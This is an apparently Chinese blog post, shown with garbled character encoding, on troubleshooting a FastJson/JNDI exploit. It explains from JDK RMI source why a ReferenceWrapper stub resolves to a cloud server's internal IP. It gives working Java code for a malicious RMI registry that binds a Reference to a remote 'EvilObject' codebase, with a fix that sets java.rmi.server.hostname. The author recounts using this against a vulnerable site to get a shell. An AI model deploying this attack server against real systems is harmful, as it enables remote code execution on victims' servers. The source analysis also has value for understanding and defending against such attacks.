RMI ReferenceWrapper_Stub With Hostname

去年我salt大哥帶我搞一個(gè)存在FastJson漏洞站的時(shí)候, 在ECS上啟動(dòng)rmi使用Reference 加載遠(yuǎn)程codebase代碼庫(kù)的方法, 但是一直沒(méi)能成功執(zhí)行命令。

最后才了解到需要修改掉/etc/hostname文件為公網(wǎng)ip地址才能夠正常利用, 在修改掉/etc/hostname為公網(wǎng)ip后,成功彈回來(lái)了shell。

失敗原因

當(dāng)時(shí)使用的啟動(dòng)rmi服務(wù)的java代碼。

RMIService.java

importcom.sun.jndi.rmi.registry.ReferenceWrapper;importjavax.naming.Reference;importjava.rmi.registry.Registry;importjava.rmi.registry.LocateRegistry;publicclassRMIService{publicstaticvoid main(Stringargs[])throwsException{Registryregistry =LocateRegistry.createRegistry(1099);ReferencerefObj = newReference("EvilObject","EvilObject","http://127.0.0.1:8000/");ReferenceWrapperrefObjWrapper = newReferenceWrapper(refObj);System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'"); registry.bind("refObj", refObjWrapper); }}

RMI在綁定refObjWrapper時(shí), 綁定的其實(shí)是refObjWrapper_Stub

啟動(dòng)RMI后, 用nmap掃描可以發(fā)現(xiàn), ReferenceWrapper_Stub引用到了一個(gè)內(nèi)網(wǎng)ip中。

在客戶端從RMI中獲取到ReferenceWrapper_Stub后, 經(jīng)過(guò)this.decode還原成ReferenceWrapper, 然后嘗試去加載這個(gè)引用, 但是因?yàn)閮?nèi)網(wǎng)ip的原因直接加載失敗。 這個(gè)內(nèi)網(wǎng)ip是ECS的內(nèi)網(wǎng)ip, 在客戶端這邊肯定就加載失敗了。

RMI ReferenceWrapper_Stub

在實(shí)例化ReferenceWrapper_Stub時(shí),

Stringvar7 = resampleLocalHost();if(var6 ==null) {? ? var3 =newTCPEndpoint(var7, var0, var1, var2);? ? var6 =newLinkedList();? ? var6.add(var3);? ? var3.listenPort = var0;? ? var3.transport =newTCPTransport(var6);? ? localEndpoints.put(var5, var6);if(TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {? ? ? ? TCPTransport.tcpLog.log(Log.BRIEF,"created local endpoint for socket factory "+ var2 +" on port "+ var0);? ? }}else{? ? synchronized(var6) {? ? ? ? var3 = (TCPEndpoint)var6.getLast();Stringvar9 = var3.host;intvar10 = var3.port;? ? ? ? TCPTransport var11 = var3.transport;if(var7 !=null&& !var7.equals(var9)) {if(var10 !=0) {? ? ? ? ? ? ? ? var6.clear();? ? ? ? ? ? }? ? ? ? ? ? var3 =newTCPEndpoint(var7, var10, var1, var2);? ? ? ? ? ? var3.listenPort = var0;? ? ? ? ? ? var3.transport = var11;? ? ? ? ? ? var6.add(var3);? ? ? ? }? ? }}

通過(guò)resampleLocalHost來(lái)獲取 Reference 要引用到的ip

private static StringresampleLocalHost(){? ? String var0 = getHostnameProperty();? ? Map var1 =localEndpoints;? ? synchronized(localEndpoints) {if(var0 != null) {if(!localHostKnown) {setLocalHost(var0);? ? ? ? ? ? }elseif(!var0.equals(localHost)) {localHost = var0;if(TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {? ? ? ? ? ? ? ? ? ? TCPTransport.tcpLog.log(Log.BRIEF,"updated local hostname to: "+localHost);? ? ? ? ? ? ? ? }? ? ? ? ? ? }? ? ? ? }returnlocalHost;? ? }}

首先嘗試使用getHostnameProperty來(lái)獲取ip

privatestaticStringgetHostnameProperty(){return(String)AccessController.doPrivileged(newGetPropertyAction("java.rmi.server.hostname"));}

但是這里由于我們的RMIService沒(méi)有設(shè)置java.rmi.server.hostname所以這里返回null。

當(dāng)從getHostnameProperty獲取ip失敗時(shí), 直接返回localhost屬性。

localhost屬性在靜態(tài)方法中被設(shè)置。

static {if(localHost == null) {? ? ? ? try {? ? ? ? ? ? InetAddress var0 = InetAddress.getLocalHost();? ? ? ? ? ? byte[] var1 = var0.getAddress();if(var1[0] == 127 && var1[1] == 0 && var1[2] == 0 && var1[3] == 1) {localHostKnown =false;? ? ? ? ? ? }if(getBoolean("java.rmi.server.useLocalHostName")) {localHost = TCPEndpoint.FQDN.attemptFQDN(var0);? ? ? ? ? ? }else{localHost = var0.getHostAddress();? ? ? ? ? ? }? ? ? ? } catch (Exception var2) {localHostKnown =false;localHost = null;? ? ? ? }? ? }if(TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {? ? ? ? TCPTransport.tcpLog.log(Log.BRIEF,"localHostKnown = "+localHostKnown +", localHost = "+localHost);? ? }localEndpoints = new HashMap();}

這里使用了InetAddress.getLocalHost()來(lái)獲取ip

publicstaticInetAddressgetLocalHost()throwsUnknownHostException{? ? SecurityManager security = System.getSecurityManager();try{? ? ? ? String local = impl.getLocalHostName();// 獲取HostName, linux系統(tǒng)可以通過(guò)修改/etc/hostname文件內(nèi)容來(lái)設(shè)置hostname。if(security !=null) {? ? ? ? ? ? security.checkConnect(local, -1);? ? ? ? }if(local.equals("localhost")) {returnimpl.loopbackAddress();? ? ? ? }? ? ? ? InetAddress ret =null;synchronized(cacheLock) {longnow = System.currentTimeMillis();if(cachedLocalHost !=null) {if((now - cacheTime) < maxCacheTime)// Less than 5s old?ret = cachedLocalHost;elsecachedLocalHost =null;? ? ? ? ? ? }// we are calling getAddressesFromNameService directly// to avoid getting localHost from cacheif(ret ==null) {? ? ? ? ? ? ? ? InetAddress[] localAddrs;try{? ? ? ? ? ? ? ? ? ? localAddrs =? ? ? ? ? ? ? ? ? ? ? ? InetAddress.getAddressesFromNameService(local,null);//使用該方法獲取ip,如果hostname是域名,會(huì)把域名轉(zhuǎn)換為對(duì)應(yīng)ip//如果hostname不合法, 返回各網(wǎng)卡的ip。}catch(UnknownHostException uhe) {// Rethrow with a more informative error message.UnknownHostException uhe2 =newUnknownHostException(local +": "+? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? uhe.getMessage());? ? ? ? ? ? ? ? ? ? uhe2.initCause(uhe);throwuhe2;? ? ? ? ? ? ? ? }? ? ? ? ? ? ? ? cachedLocalHost = localAddrs[0];// get en0cacheTime = now;? ? ? ? ? ? ? ? ret = localAddrs[0];? ? ? ? ? ? }? ? ? ? }returnret;? ? }catch(java.lang.SecurityException e) {returnimpl.loopbackAddress();? ? }}

由于ECS的hostname一般都長(zhǎng)這個(gè)樣子

所以肯定不是合法的域名或者ip了, 那么Reference的ip 就是獲取的en0的ip,

就成了一個(gè)內(nèi)網(wǎng)ip, 導(dǎo)致訪問(wèn)引用失敗。

這里只要把Reference引用到公網(wǎng)ip上 就能成功利用了。

所以以前可以通過(guò)修改/etc/hostname為公網(wǎng)ip來(lái)成功利用, 但是修改/etc/hostname后得重啟才能生效,很麻煩。

從上面可以看出, 如果設(shè)置了java.rmi.server.hostname屬性之后, 該屬性值就會(huì)覆蓋掉靜態(tài)方法所設(shè)置的localhost屬性。

所以在啟動(dòng)rmi的時(shí)候 設(shè)置java.rmi.server.hostname屬性為公網(wǎng)ip即可。

importcom.sun.jndi.rmi.registry.ReferenceWrapper;importjavax.naming.Reference;importjava.rmi.registry.Registry;importjava.rmi.registry.LocateRegistry;publicclassRMIService{publicstaticvoid main(Stringargs[])throwsException{System.setProperty("java.rmi.server.hostname","你的公網(wǎng)ip");Registryregistry =LocateRegistry.createRegistry(1099);ReferencerefObj = newReference("EvilObject","EvilObject","http://127.0.0.1:8000/");ReferenceWrapperrefObjWrapper = newReferenceWrapper(refObj);System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");? ? ? ? registry.bind("refObj", refObjWrapper);? ? }}

再用nmap掃描, 就能夠發(fā)現(xiàn)已經(jīng)變?yōu)楣W(wǎng)ip了。

進(jìn)群:697699179可以獲取Java各類入門學(xué)習(xí)資料!

這是我的微信公眾號(hào)【編程study】各位大佬有空可以關(guān)注下,每天更新Java學(xué)習(xí)方法,感謝!

學(xué)習(xí)中遇到問(wèn)題有不明白的地方,推薦加小編Java學(xué)習(xí)群:697699179內(nèi)有視頻教程 ,直播課程 ,等學(xué)習(xí)資料,期待你的加入

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容